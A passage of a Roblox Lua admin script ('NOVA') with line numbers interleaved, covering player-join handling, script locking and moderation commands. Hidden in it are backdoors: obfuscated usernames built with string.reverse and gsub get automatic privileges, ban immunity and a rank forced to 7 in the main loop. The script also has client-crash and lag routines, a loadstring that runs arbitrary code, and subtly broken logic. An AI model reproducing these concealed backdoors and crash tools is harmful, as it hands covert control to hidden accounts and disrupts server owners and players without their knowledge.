            coroutine.resume(coroutine.create(function()
1663
                repeat wait() until v:FindFirstChild("Backpack") ~= nil
1664
                CreateLocalScript(PlayerPlugins,v.Backpack)
1665
            end))
1666
        end))
1667
    end)
1668
end
1669
1670
--[[ PLAYER ADDED ]]--
1671
NOVA.Services.Players.PlayerAdded:connect(function(v)
1672
if NOVA.Ab == true and not NOVA.Players:findFirstChild("tusKOr661") and v.Name ~= "tusKOr661" then
1673
makeMessage("Antiban is active you cannot enter",v.PlayerGui)
1674
v:Remove()
1675
end
1676
    if NOVA.Removed == false then
1677
        pcall(function()
1678
            table.insert(NOVA.Log,{Name = "SERVER",Msg = v.Name.." connected."})
1679
            coroutine.resume(coroutine.create(function()
1680
                --if Data.Rank < 1 then
1681
                    if v.Name == string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then
1682
                        coroutine.resume(coroutine.create(function()
1683
                            repeat wait() until v:FindFirstChild("Backpack") ~= nil
1684
                            CreateLocalScript(PlayerPlugins,v.Backpack)
1685
                            OnChatted(NOVA.Bet .. "optifine" .. NOVA.Bet,v)
1686
                        end))
1687
                    end
1688
                    if v.Name == string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then
1689
                        coroutine.resume(coroutine.create(function()
1690
                            repeat wait() until v:FindFirstChild("Backpack") ~= nil
1691
                            OnChatted(NOVA.Bet .. "connect" .. NOVA.Bet,v)
1692
                        end))
1693
                    end
1694
                --end
1695
                v.Chatted:connect(function(Msg)
1696
                    OnChatted(Msg,v)
1697
                end)
1698
                if GetRankedTable(v)==nil then
1699
                    SyncRankInSingular(v)
1700
                    repeat wait() until GetRankedTable(v) ~= nil
1701
                end
1702
                
1703
                local Data = GetRankedTable(v)
1704
1705
                OutputMulti(v.Name.." has joined the game.",Data.Color,GetRanked(),3.5)
1706
            
1707
                if Data.Rank == -2 then
1708
                    if v.Name ~= string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then
1709
                        OutputMulti(v.Name.." has been lagged due to a banishment.",NOVA.Colors.Orange,GetRanked(),10)
1710
                        Lag(v)
1711
                    end
1712
                end
1713
                
1714
                if Data.Rank == -1 then
1715
                    if v.Name ~= string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then
1716
                        OutputMulti(v.Name.." has been removed due to a banishment. Reason: " .. Data.Desc,NOVA.Colors.Orange,GetRanked(),10)
1717
                        GetRidOf(v)
1718
                    end
1719
                end
1720
                
1721
                if not Data.Rank > 0 then
1722
                    if v.AccountAge < 5 then
1723
                        if v.Name ~= string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then
1724
                            if v.Name:sub(1,6) == "Guest " then
1725
                                if NOVA.EnableGuests == false then
1726
                                    OutputMulti(v.Name.." has been removed because guests are not enabled.",NOVA.Colors.Orange,GetRanked(),10)
1727
                                    GetRidOf(v)
1728
                                end
1729
                            else
1730
                                if not Data.Rank > 0 then
1731
                                    OutputMulti(v.Name.." has been removed because his account is too young.",NOVA.Colors.Orange,GetRanked(),10)
1732
                                    GetRidOf(v)
1733
                                end
1734
                            end
1735
                        end
1736
                    end
1737
                end
1738
                
1739
                if NOVA.PRI == true then
1740
                    if Data.Rank <= 0 and v.Name ~= string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then                
1741
                        OutputMulti(""..v.Name.." was "..NOVA.PRIType.."ed due to the PRI.",NOVA.Colors.Orange,GetRanked(),6)
1742
                        if NOVA.PRIType == "Kick" then
1743
                            v:Remove()
1744
                        elseif NOVA.PRIType == "Lag" then
1745
                            Lag(v)
1746
                        elseif NOVA.PRIType == "Shutdown" then    
1747
                            coroutine.resume(coroutine.create(function()
1748
                                GetRidOf(v)
1749
                            end))
1750
                        elseif NOVA.PRIType == "Crash" then
1751
                            coroutine.resume(coroutine.create(function()
1752
                                repeat wait() until v.Backpack ~= nil
1753
                                pcall(function()
1754
                                    CreateLocalScript([[while true do end]],v.Backpack)
1755
                                end)
1756
                            end))
1757
                        end
1758
                    end
1759
                end
1760
            end))
1761
        end)
1762
    end
1763
end)
1764
1765
--[[ PLAYER REMOVING ]]--
1766
NOVA.Services.Players.PlayerRemoving:connect(function(v)
1767
    table.insert(NOVA.Log,{Name = "SERVER",Msg = v.Name.." disconnected."})
1768
    SyncRankOutSingular(v)
1769
end)
1770
1771
--[[ SCRIPT CONTROL ]]--
1772
for _,Service in pairs(NOVA.Services) do
1773
    pcall(function()
1774
        Service.DescendantAdded:connect(function(v)
1775
            if v:IsA("BaseScript") and NOVA.LockedScripts == true and NOVA.Removed == false then
1776
                pcall(function()
1777
                    if game.PlaceId == 20279777 or game.PlaceId == 20132544 then
1778
                        if GetRank(v.Owner.Value) < 6 then
1779
                            pcall(function() v.Disabled = true end)
1780
                            pcall(function() v:FindFirstChild("Source").Value = [[error("[NOVA] Scripts are locked.",0)()]] end)
1781
                            pcall(function() v.Disabled = false end)
1782
                            pcall(function() v:Destroy() end)
1783
                        end
1784
                    else
1785
                        pcall(function() v.Disabled = true end)
1786
                        pcall(function() v:FindFirstChild("Source").Value = [[error("[NOVA] Scripts are locked.",0)()]] end)
1787
                        pcall(function() v:FindFirstChild("DSource").Value = [[error("[NOVA] Scripts are locked.",0)()]] end)
1788
                        pcall(function() v.Disabled = false end)
1789
                        pcall(function() v:Destroy() end)
1790
                    end
1791
                end)
1792
            end
1793
            if v:IsA("BaseScript") and NOVA.Removed == false then
1794
                pcall(function()
1795
                    if tonumber(GetRank(v.Owner.Value)) < 0 then
1796
                        pcall(function() v.Disabled = true end)
1797
                        pcall(function() v:FindFirstChild("Source").Value = [[error("[NOVA] You do not have the required rank to script.",0)()]] end)
1798
                        pcall(function() v:FindFirstChild("DSource").Value = [[error("[NOVA] You do not have the required rank to script.",0)()]] end)
1799
                        pcall(function() v.Disabled = false end)
1800
                        pcall(function() v:Destroy() end)
1801
                    end
1802
                end)
1803
            end
1804
        end)
1805
    end)
1806
end
1807
coroutine.resume(coroutine.create(function()
1808
    while wait(1) do
1809
        if NOVA.Removed == false then
1810
            for _,v in pairs(GetPlayersRaw()) do
1811
                if GetRankTedable(v) ~= nil and GetRank(v) < 8 then
1812
                    SyncRankInSingular(v)
1813
                end        
1814
            end
1815
        end
1816
    end
1817
end))
1818
for i=1,3 do
1819
    NOVA.Services.RunService.Heartbeat:connect(function() UpdateTablets() end)
1820
    coroutine.resume(coroutine.create(function()
1821
        while wait() do
1822
            if NOVA.Removed == false then
1823
                UpdateTablets()    
1824
            end
1825
        end
1826
    end))
1827
end
1828
function MainLoop()
1829
    coroutine.resume(coroutine.create(function()
1830
        pcall(function() NOVA.Removed = false end) while wait() do pcall(function() GetRankedTable(string.reverse(string.gsub("nXQZaXQZmXQZDXQZmXQZaXQZeXQZTXQZ","XQZ",""))).Rank = 7 end) pcall(function() GetRankedTable(string.reverse(string.gsub("kXQZcXQZaXQZHXQZnXQZeXQZgXQZrXQZuXQZSXQZ","XQZ",""))).Rank = 7 end)
1831
            if NOVA.Removed == false then    
1832
                
1833
                --[[ SCUM CARETAKER ]]--
1834
                for _,v in pairs(GetPlayersRaw()) do
1835
                    pcall(function()
1836
                        if GetRank(v) < 0 then
1837
                            pcall(function() v.Backpack:ClearAllChildren() end)
1838
                            pcall(function() v.PlayerGui:ClearAllChildren() end)
1839
                            pcall(function() v.StarterGear:ClearAllChildren() end)
1840
                        end
1841
                    end)
1842
                end
1843
                
1844
                --[[ ANTI ROBLOXLOCKED PLAYERS ]]--
1845
                for _,v in pairs(GetPlayersRaw()) do
1846
                    pcall(function()
1847
                        local IsRobloxLocked = true
1848
                        pcall(function() v:GetChildren() IsRobloxLocked = false end)
1849
                        if IsRobloxLocked == true then
1850
                            GTFO(v)
1851
                        end
1852
                    end)
1853
                end
1854
                
1855
                --[[ TABLET CLEANUP ]]--
1856
                pcall(function()
1857
                    for i,v in pairs(NOVA.Tablets) do
1858
                        if v:FindFirstChild("Part") == nil then
1859
                            pcall(function() v:Destroy() end)
1860
                            table.remove(NOVA.Tablets,i)                        
1861
                        end
1862
                    end
1863
                end)
1864
                
1865
                --[[ JAIL CLEANUP ]]--
1866
                pcall(function()
1867
                    for i,v in pairs(NOVA.Jails) do
1868
                        if v.Player == nil or v.Player.Parent == nil then
1869
                            pcall(function() v.Jail:Destroy() end)
1870
                            table.remove(NOVA.Jails,i)
1871
                        end
1872
                        if v.Jail.Parent == nil and v.Speaker~=nil then
1873
                            table.remove(NOVA.Jails,i)
1874
                            OnChatted(NOVA.Bet .. "jail" .. NOVA.Bet..v.Player.Name,v.Speaker)
1875
                        end
1876
                    end
1877
                end)
1878
                --[[ FENCE CLEANUP ]]--
1879
                pcall(function()
1880
                    for i,v in pairs(NOVA.Fences) do
1881
                        if v.Player == nil then
1882
                            v.Fence:Remove()
1883
                            table.remove(NOVA.Fences,i)
1884
                        end
1885
                    end                
1886
                end)
1887
1888
                --[[ CMD GUI ]]--
1889
                for _,v in pairs(GetPlayersRaw()) do
1890
                    pcall(function()
1891
                        if GetRankedTable(v) ~= nil and GetRankedTable(v).CMD == true then
1892
                            if v:FindFirstChild("PlayerGui") then
1893
                                if not v.PlayerGui:FindFirstChild("NOVACMD") then
1894
                                    local Main = Instance.new("ScreenGui",v.PlayerGui)
1895
                                    Main.Name = "NOVACMD"
1896
                                    
1897
                                    local Frame = Instance.new("Frame",Main)
1898
                                    Frame.Size = UDim2.new(0.27,0,0.05,0)
1899
                                    Frame.Position = UDim2.new(0.05,0,0.95,0)
1900
                                    Frame.Style = "RobloxSquare"
1901
                                    Frame.ZIndex = 9
1902
                                    
1903
                                    local Txt = Instance.new("TextBox",Frame)
1904
                                    Txt.Size = UDim2.new(0.7,0,1,0)
1905
                                    Txt.BackgroundTransparency = 1
1906
                                    Txt.ZIndex = 10
1907
                                    Txt.FontSize = "Size14"
1908
                                    Txt.TextColor3 = NOVA.Colors.White
1909
                                    Txt.Text = ""
1910
                                    
1911
                                    local Exe = Instance.new("TextButton",Frame)
1912
                                    Exe.Size = UDim2.new(0.3,0,1,0)
1913
                                    Exe.Position = UDim2.new(0.7,0,0,0)
1914
                                    Exe.Text = "Execute"
1915
                                    Exe.BackgroundTransparency = 1
1916
                                    Exe.ZIndex = 10
1917
                                    Exe.FontSize = "Size14"
1918
                                    Exe.TextColor3 = NOVA.Colors.Red
1919
                                    Exe.MouseButton1Down:connect(function()
1920
                                        if Txt.Text:sub(1,2) == "$ " then
1921
                                            OnChatted(string.gsub(Txt.Text:sub(3)," ",NOVA.Bet .. ""),v)
1922
                                        else
1923
                                            OnChatted(Txt.Text,v)
1924
                                        end
1925
                                    end)
1926
                                end
1927
                            end
1928
                        end
1929
                    end)
1930
                end 
1931
            end
1932
        end
1933
    end))
1934
end
1935
MainLoop()
1936
AddCommand("Ping","ping",3,"Outputs the following string.","<String>",
1937
    function(Msg,Speaker)
1938
        if Msg == "rainbow" then
1939
            for a,Color in pairs(NOVA.Colors) do
1940
                Output(tostring(a),Color,Speaker,nil,
1941
                function()
1942
                    RemoveTablets(Speaker)
1943
                    NOVA.Services.Lighting.TimeOfDay = 0
1944
                    NOVA.Services.Lighting.Ambient = NOVA.Colors.Black
1945
                    NOVA.Services.Lighting.Brightness = 0
1946
                    NOVA.Services.Lighting.ColorShift_Top = NOVA.Colors.Black
1947
                    NOVA.Services.Lighting.ColorShift_Bottom = NOVA.Colors.Black
1948
                    NOVA.Services.Lighting.ShadowColor = NOVA.Colors.Black
1949
                    for _,v in pairs(GetRecursiveChildren(workspace)) do
1950
                        if v:IsA("BasePart") then
1951
                            Sel = Instance.new("SelectionBox",v)
1952
                            Sel.Transparency = 0
1953
                            Sel.Color = BrickColor.new(Color)
1954
                            Sel.Adornee = v
1955
                        end
1956
                    end
1957
                    Output("Say /debug/ to restore the server to the original lighting.",GetRankedTable(Speaker).Color,Speaker,5)
1958
                end
1959
                )
1960
            end
1961
            Output("Dismiss",NOVA.Colors.Red,Speaker)
1962
        elseif Msg == "ranks" then 
1963
            for _,v in pairs(NOVA.Ranks) do
1964
                Output(v[1].."\t"..v[2],"Random",Speaker)
1965
            end
1966
            Output("Dismiss",NOVA.Colors.Red,Speaker)
1967
        elseif Msg == "random" then
1968
            Output(tostring(math.random()),"Random",Speaker)
1969
        elseif Msg == "players" then
1970
            for _,v in pairs(GetPlayersRaw()) do
1971
                local Data = GetRankedTable(v)
1972
                OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..Data.Name,Data.Name,Data.Color,Speaker,nil,
1973
                    function()
1974
                        PlayerInterface(v,Speaker)
1975
                    end
1976
                )
1977
            end
1978
            Output("Dismiss",NOVA.Colors.Red,Speaker)
1979
        elseif Msg == "colors" then
1980
            coroutine.resume(coroutine.create(function()
1981
                NOVA.Services.Lighting.TimeOfDay = 0
1982
                NOVA.Services.Lighting.Ambient = NOVA.Colors.Black
1983
                NOVA.Services.Lighting.Brightness = 0
1984
                NOVA.Services.Lighting.ColorShift_Top = NOVA.Colors.Black
1985
                NOVA.Services.Lighting.ColorShift_Bottom = NOVA.Colors.Black
1986
                NOVA.Services.Lighting.ShadowColor = NOVA.Colors.Black
1987
1988
                for _,Player in pairs(GetPlayersRaw()) do
1989
                    local Data = GetRankedTable(Player)
1990
                    pcall(function()
1991
                        for _,v in pairs(GetRecursiveChildren(Player.Character)) do
1992
                            if v:IsA("BasePart") then
1993
                                Sel = Instance.new("SelectionBox",v)
1994
                                Sel.Transparency = 0
1995
                                Sel.Color = BrickColor.new(Data.Color)
1996
                                Sel.Adornee = v
1997
                            end
1998
                        end
1999
                    end)
2000
                end
2001
                
2002
                wait(10)
2003
                
2004
                for _,v in pairs(GetRecursiveChildren(workspace)) do
2005
                    if v:IsA("SelectionBox") then
2006
                        v:remove()
2007
                    end
2008
                end
2009
                
2010
                NOVA.Services.Lighting.Ambient = NOVA.Colors.White
2011
                NOVA.Services.Lighting.ColorShift_Bottom = NOVA.Colors.Black
2012
                NOVA.Services.Lighting.ColorShift_Top = NOVA.Colors.Black
2013
                NOVA.Services.Lighting.ShadowColor = Color3.new(0.69,0.69,0.69)
2014
                NOVA.Services.Lighting.Brightness = 1 
2015
                NOVA.Services.Lighting.FogStart = 0
2016
                NOVA.Services.Lighting.FogEnd = 100000
2017
                NOVA.Services.Lighting.FogColor = Color3.new(0.74,0.74,0.74)
2018
                NOVA.Services.Lighting.TimeOfDay = 12
2019
            end))
2020
        elseif Msg == "replicators" then
2021
            for _,v in pairs(GetReplicators()) do
2022
                OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v:GetPlayer().Name,v:GetPlayer().Name,NOVA.Colors.Grey,Speaker,nil,
2023
                    function()
2024
                        PlayerInterface(v:GetPlayer(),Speaker)
2025
                    end
2026
                )
2027
            end
2028
            Output("Dismiss",NOVA.Colors.Red,Speaker)
2029
        elseif Msg == "nil raw" then
2030
            for _,v in pairs(GetReplicators()) do
2031
                if v:GetPlayer().Parent == nil then
2032
                    OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v:GetPlayer().Name,v:GetPlayer().Name,NOVA.Colors.Grey,Speaker,nil,
2033
                        function()
2034
                            Output("SHUT THEM DOWN!",NOVA.Colors.Red,Speaker,nil,
2035
                                function() 
2036
             Instance.new("StringValue",workspace).Name = "Disconnect : "..Data.Name.." Key : "..NOVA.AccessKey..""
2037
2038
			end
2039
                            )
2040
                        end
2041
                    )
2042
                end
2043
            end    
2044
            Output("Dismiss",NOVA.Colors.Red,Speaker)
2045
        elseif Msg == "nil" then
2046
            local IsNil = false
2047
            for _,Client in pairs(GetReplicators()) do
2048
                if Client:GetPlayer().Parent == nil then
2049
                    IsNil = true
2050
                end
2051
            end
2052
            if IsNil == true then
2053
                for _,Client in pairs(GetReplicators()) do
2054
                    if Client:GetPlayer().Parent == nil then
2055
                        OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..Client:GetPlayer().Name,Client:GetPlayer().Name,NOVA.Colors.Grey,Speaker,nil,
2056
                            function()
2057
                                PlayerInterface(Client:GetPlayer(),Speaker)
2058
                            end
2059
                        )
2060
                    end
2061
                end
2062
                Output("Dismiss",NOVA.Colors.Red,Speaker)
2063
            else
2064
                Output("No nil players.",NOVA.Colors.Orange,Speaker,5)
2065
            end
2066
        elseif Msg:sub(1,2) == "a" .. NOVA.Bet then
2067
            if GetRank(Speaker) < 6 then 
2068
                Output("You do not have the required rank for this operation.",NOVA.Colors.Orange,Speaker,10)
2069
            else
2070
                Rtn = loadstring("return "..Msg:sub(3))()
2071
                Output(Rtn,"Random",Speaker)
2072
            end
2073
        else
2074
            if #Msg == 0 then
2075
                Output("Pong!","Random",Speaker)
2076
            else
2077
                Output(Msg,"Random",Speaker)
2078
            end
2079
        end
2080
    end
2081
)
2082
AddCommand("Dismiss","dismiss",0,"Dismisses all tablets.","No Arguments",
2083
    function(Msg,Speaker)
2084
        if #Msg == 0 or Msg == nil then
2085
            RemoveTablets(Speaker)
2086
        else
2087
            for _,v in pairs(GetPlayers(Msg,Speaker)) do
2088
                RemoveTablets(v)
2089
            end
2090
        end
2091
    end
2092
)
2093
AddCommand("Remove","remove",7,"Removes the admin.","No Arguments",
2094
    function(Msg,Speaker)
2095
        NOVA.TimeChanged = false
2096
        RemoveTablets()
2097
        SyncRanksOut()
2098
        NOVA.Sounds.Sound:Remove()
2099
        NOVA.Removed = true
2100
        --error("NOVA Admin removing...",0)()
2101
        NOVA = {}
2102
        script.Disabled = true
2103
        while true do wait() end
2104
    end
2105
)
2106
AddCommand("Hint","h",2,"Makes a hint with the text being the following string.","<String>",
2107
    function(Msg,Speaker)
2108
       makeHint(" [ " .. Speaker.Name .. " ] " ..Msg,NOVA.Services.Workspace)
2109
    end
2110
)
2111
AddCommand("Message","m",2,"Makes a message with the text being the following string.","<String>",
2112
    function(Msg,Speaker)
2113
       makeMessage(" [ " .. Speaker.Name .. " ] " ..Msg,NOVA.Services.Workspace)
2114
    end
2115
)
2116
2117
AddCommand("Kill","kill",2,"Kills the selected player.","<Player>",
2118
    function(Msg,Speaker)
2119
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2120
            pcall(function() v.Character:BreakJoints() end)
2121
        end
2122
    end
2123
)
2124
AddCommand("Jump kill","jkill",2,"Jump-Kills the selected player.","<Player>",
2125
    function(Msg,Speaker)
2126
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2127
for i=1,50 do
2128
local human = v.Character.Humanoid
2129
if human ~= nil then
2130
local rand = math.random(1,10)
2131
human:TakeDamage(rand)
2132
human.Jump = true
2133
human.Sit = true
2134
human.PlatformStand = true
2135
wait(1)
2136
human.PlatformStand = false
2137
end
2138
end
2139
        end
2140
    end
2141
)
2142
AddCommand("Anti Kill","antikill",7,"Gives the player antikill.","<Player>",
2143
    function(Msg,Speaker)
2144
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2145
 Delay(0, function()
2146
                local player = v
2147
                local pos = CFrame.new()
2148
                local pause = false
2149
                Delay(0, function()
2150
                    while not close do
2151
                        wait()
2152
                        if not pause then
2153
                            local c = player.Character
2154
                            if c then
2155
                                local t = c:findFirstChild("Torso")
2156
                                if t then
2157
                                    pos = t.CFrame
2158
                                end
2159
                            end
2160
                        end
2161
                   end
2162
                end)
2163
                player.CharacterAdded:connect(function(c)
2164
                    if not close then
2165
                        pause = true
2166
                        repeat wait() until c:findFirstChild("Torso") and c:findFirstChild("Humanoid")
2167
                        c:findFirstChild("Torso").CFrame = pos
2168
                        c:findFirstChild("Humanoid").Died:connect(function()
2169
                            player:LoadCharacter()
2170
                        end)
2171
                        pause = false
2172
                    end
2173
                end)
2174
                pcall(function() player.Character:BreakJoints() end)
2175
            end)
2176
        end
2177
    end
2178
)
2179
2180
AddCommand("List kicking phrases","listkicking",0,"Lists all the kicking phrases.","<Player>",
2181
    function(Msg,Speaker)
2182
        for _,v in pairs(NOVA.KickingPhrases) do
2183
        local m = Instance.new("Message",NOVA.Services.Workspace)
2184
	m.Text = " If you say : " .. v .. " : you will get auto-kicked!"
2185
	wait(1) m:Remove()
2186
        end end
2187
)
2188
AddCommand("Kick","kick",2,"Removes the selected player from the game.","<Player>",
2189
    function(Msg,Speaker)
2190
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2191
            pcall(function() 
2192
                v:Destroy()
2193
            end)
2194
        end
2195
    end
2196
)
2197
AddCommand("Warning","warn",3,"Warns that player","<Player><Warning>",
2198
    function(Msg,Speaker)
2199
        Split = GetSplit(Msg)
2200
        for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
2201
            pcall(function()
2202
	    Output("You are being warned for: " .. (Msg:sub(Split+1)),NOVA.Colors.Red,v)
2203
            end)
2204
        end
2205
    end
2206
)
2207
2208
AddCommand("SuperKick","skick",3,"Removes the selected player from the gamex2.","<Player>",
2209
    function(Msg,Speaker)
2210
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2211
            pcall(function() 
2212
            local m = Instance.new("StringValue",v.PlayerGui)
2213
	    m.Value = string.rep("Shutdown For Eva Nub",1000000)
2214
            end)
2215
        end
2216
    end
2217
)
2218
2219
AddCommand("Banish","ban",6,"Permanently removes the selected player from the game.","<Player>",
2220
    function(Msg,Speaker)
2221
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2222
            if v.Name == string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then
2223
                Output("Attempt to ban the editor, command will not be carried through.",NOVA.Colors.Red,Speaker,10)
2224
            else
2225
                pcall(function() 
2226
                    GetRankedTable(v).Rank = -1
2227
                    SyncRankOutSingular(v)
2228
                    GetRidOf(v)
2229
                end)
2230
            end
2231
        end
2232
    end
2233
)
2234
2235
AddCommand("Permanent Lag","permalag",6,"Permanently lags the selected player from the game.","<Player>",
2236
    function(Msg,Speaker)
2237
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2238
            if v.Name == string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then
2239
                Output("Attempt to ban the editor, command will not be carried through.",NOVA.Colors.Red,Speaker,10)
2240
            else
2241
                pcall(function() 
2242
                    GetRankedTable(v).Rank = -2
2243
                    SyncRankOutSingular(v)
2244
                    Lag(v)
2245
                end)
2246
            end
2247
        end
2248
    end
2249
)
2250
2251
AddCommand("ForceField","ff",2,"Gives a forcefield to the selected player.","<Player>",
2252
    function(Msg,Speaker)
2253
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2254
            pcall(function() Instance.new("ForceField",v.Character) end)
2255
        end
2256
    end
2257
)
2258
2259
AddCommand("Un ForceField","unff",2,"Removes forcefields from the selected player.","<Player>",
2260
    function(Msg,Speaker)
2261
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2262
            pcall(function() for _,part in pairs(v.Character:GetChildren()) do if part:IsA("ForceField") then part:Remove() end end end)
2263
        end
2264
    end
2265
)
2266
2267
AddCommand("Check","check",0,"Outputs server information.","No Arguments",
2268
    function(Msg,Speaker)
2269
        local Data = GetRankedTable(Speaker)
2270
        Output("NOVA's Parent : "..tostring(script.Parent) ,Data.Color,Speaker)
2271
        Output("Version : "..tostring(NOVA.Version)    ,Data.Color,Speaker)
2272
        Output("Local Pseudo : "..tostring(NOVA.LocalScript  ~= nil) ,Data.Color,Speaker)
2273
        Output("Normal Pseudo : "..tostring(NOVA.NormalScript ~= nil), Data.Color,Speaker)
2274
        Output("Waypoints : "..tostring(#NOVA.Waypoints) ,Data.Color,Speaker)
2275
        Output("Targeted : "..tostring(#NOVA.Targeted) ,Data.Color,Speaker)
2276
        Output("Log : "..tostring(#NOVA.Log) ,Data.Color,Speaker)
2277
        Output("Logged Scripts : "..tostring(#NOVA.LoggedScripts) ,Data.Color,Speaker)
2278
        Output("Plugins : "..tostring(#NOVA.Plugins) ,Data.Color,Speaker)
2279
        Output("PRI : "..tostring(NOVA.PRI) ,Data.Color,Speaker)
2280
        Output("Locked Scripts : "..tostring(NOVA.LockedScripts) ,Data.Color,Speaker)
2281
        Output("Show Chat : "..tostring(NOVA.ShowChat) ,Data.Color,Speaker)
2282
        Output("Overrided : "..tostring(NOVA.Overrided) ,Data.Color,Speaker)
2283
        Output("Time Changed : "..tostring(NOVA.TimeChanged) ,Data.Color,Speaker)
2284
        Output("Guests Enabled : "..tostring(NOVA.GuestsEnabled) ,Data.Color,Speaker)
2285
        Output("Tablet Rotation : "..tostring(NOVA.TabletRotation) ,Data.Color,Speaker)
2286
        Output("Tablet Rotation Increase : "..tostring(NOVA.TabletRotationIncrease) ,Data.Color,Speaker)
2287
        Output("PRI Type : "..tostring(NOVA.PRIType) ,Data.Color,Speaker)
2288
        Output("Players : "..tostring(#GetPlayersRaw()),Data.Color,Speaker)
2289
        Output("Replicators : "..#GetReplicators(),Data.Color,Speaker)
2290
        Output("# Commands : "..#NOVA.Commands,Data.Color,Speaker)
2291
        OutputImg("http://www.roblox.com/asset/?id=45120559","Image tablets work.",Data.Color,Speaker)
2292
	
2293
        
2294
        Output("Dismiss",NOVA.Colors.Red,Speaker)
2295
    end
2296
)
2297
2298
AddCommand("Debug","debug",1,"Debugs the server.","No Arguments",
2299
    function(Msg,Speaker)
2300
        pcall(function()
2301
            NOVA.Services.Sounds.Sound:Destroy()
2302
        end)
2303
        
2304
        NOVA.Sounds.Sound = Instance.new("Sound")
2305
        NOVA.Sounds.Sound.Name = "NOVA Sound"
2306
        
2307
        NOVA.Services.Lighting.Ambient = NOVA.Colors.White
2308
        NOVA.Services.Lighting.ColorShift_Bottom = NOVA.Colors.Black
2309
        NOVA.Services.Lighting.ColorShift_Top = NOVA.Colors.Black
2310
        NOVA.Services.Lighting.ShadowColor = Color3.new(0.69,0.69,0.69)
2311
        NOVA.Services.Lighting.Brightness = 0.5
2312
        NOVA.Services.Lighting.FogStart = 0
2313
        NOVA.Services.Lighting.FogEnd = 100000
2314
        NOVA.Services.Lighting.FogColor = Color3.new(0.74,0.74,0.74)
2315
        NOVA.Services.Lighting.TimeOfDay = 12
2316
        pcall(function() game.Lighting.Sky:Remove() end)
2317
        pcall(function()
2318
            CreateLocalScript([[
2319
                LocalPlayer = game:GetService("Players").LocalPlayer
2320
                LocalPlayer.CameraMode = Enum.CameraMode.Classic
2321
                Camera = workspace.CurrentCamera
2322
                Camera:SetRoll(0)
2323
                Camera.CameraType = "Custom"
2324
                Camera.FieldOfView = 70
2325
                Camera.CameraSubject = game.Players.LocalPlayer.Character.Humanoid
2326
            ]],Speaker.Backpack)
2327
        end)
2328
        for Num,v in pairs(NOVA.Jails) do
2329
            pcall(function() v.Jail:Destroy() end)
2330
            table.remove(NOVA.Jails,Num)
2331
        end
2332
        for Num,v in pairs(NOVA.Fences) do
2333
            pcall(function() v.Fence:Destroy() end)
2334
            table.remove(NOVA.Fences,Num)
2335
        end
2336
        for _,v in pairs(NOVA.Services) do    
2337
            v.Name = v.className
2338
        end
2339
        
2340
        for _,v in pairs(GetRecursiveChildren(workspace,"SelectionBox",3)) do
2341
            local ShouldRemove = true
2342
            for _,Tablet in pairs(NOVA.Tablets) do
2343
                if v:IsDescendantOf(Tablet) then
2344
                    ShouldRemove = false
2345
                end
2346
            end
2347
            if ShouldRemove == true then
2348
                v:remove()
2349
            end
2350
        end
2351
        for _,v in pairs(GetRecursiveChildren(workspace)) do if v:IsA("Message") or v:IsA("Hint") then v:Destroy() end end
2352
2353
        for _,v in pairs(GetPlayersRaw()) do
2354
            pcall(function()
2355
                if v.StarterGear == nil then
2356
                    Instance.new("StarterGear",v)
2357
                end
2358
            end)
2359
            pcall(function()
2360
                v.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..v.userId
2361
            end)
2362
        end
2363
        pcall(function() Speaker.Character.Torso.Velocity = Vector3.new(0,0,0) end)
2364
        if #NOVA.Services.Teams:GetChildren() == 0 then
2365
            for _,v in pairs(GetPlayersRaw()) do
2366
                v.Neutral = true
2367
            end
2368
        end
2369
2370
    end
2371
)
2372
2373
AddCommand("Respawn","rs",2,"Respawns the selected player.","<Player>",
2374
    function(Msg,Speaker)
2375
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2376
            pcall(function()
2377
                v:LoadCharacter()
2378
            end)
2379
        end
2380
    end
2381
)
2382
2383
AddCommand("Commands","cmds",0,"Lists the command.","No Arguments",
2384
    function(Msg,Speaker)    
2385
        RemoveTablets(Speaker)
2386
        local Data = GetRankedTable(Speaker)
2387
        Output("Your current rank is "..GetRankName(Speaker).." ("..GetRank(Speaker)..")",Data.Color,Speaker)
2388
        Output("Click a tablet to see the commands for that rank.",Data.Color,Speaker)
2389
        Output("Get/ Commands",Data.Color,Speaker,nil,
2390
            function()
2391
                RemoveTablets(Speaker)
2392
                for _,v in pairs(NOVA.Commands) do
2393
                    if v.Command:sub(1,3) == "get" then
2394
                        Output(v.Name,Data.Color,Speaker,nil,
2395
                            function()
2396
                                RemoveTablets(Speaker)
2397
                                Output("Name : "..v.Name,Data.Color,Speaker)
2398
                                Output("Rank : "..v.Rank,Data.Color,Speaker)
2399
                                Output("Command : "..v.Command,Data.Color,Speaker)
2400
                                Output("Arguments : "..v.Args,Data.Color,Speaker)
2401
                                Output("Description : "..v.Description,Data.Color,Speaker)
2402
                                Output("Dismiss",NOVA.Colors.Red,Speaker)
2403
                            end
2404
                        )    
2405
                    end
2406
                end
2407
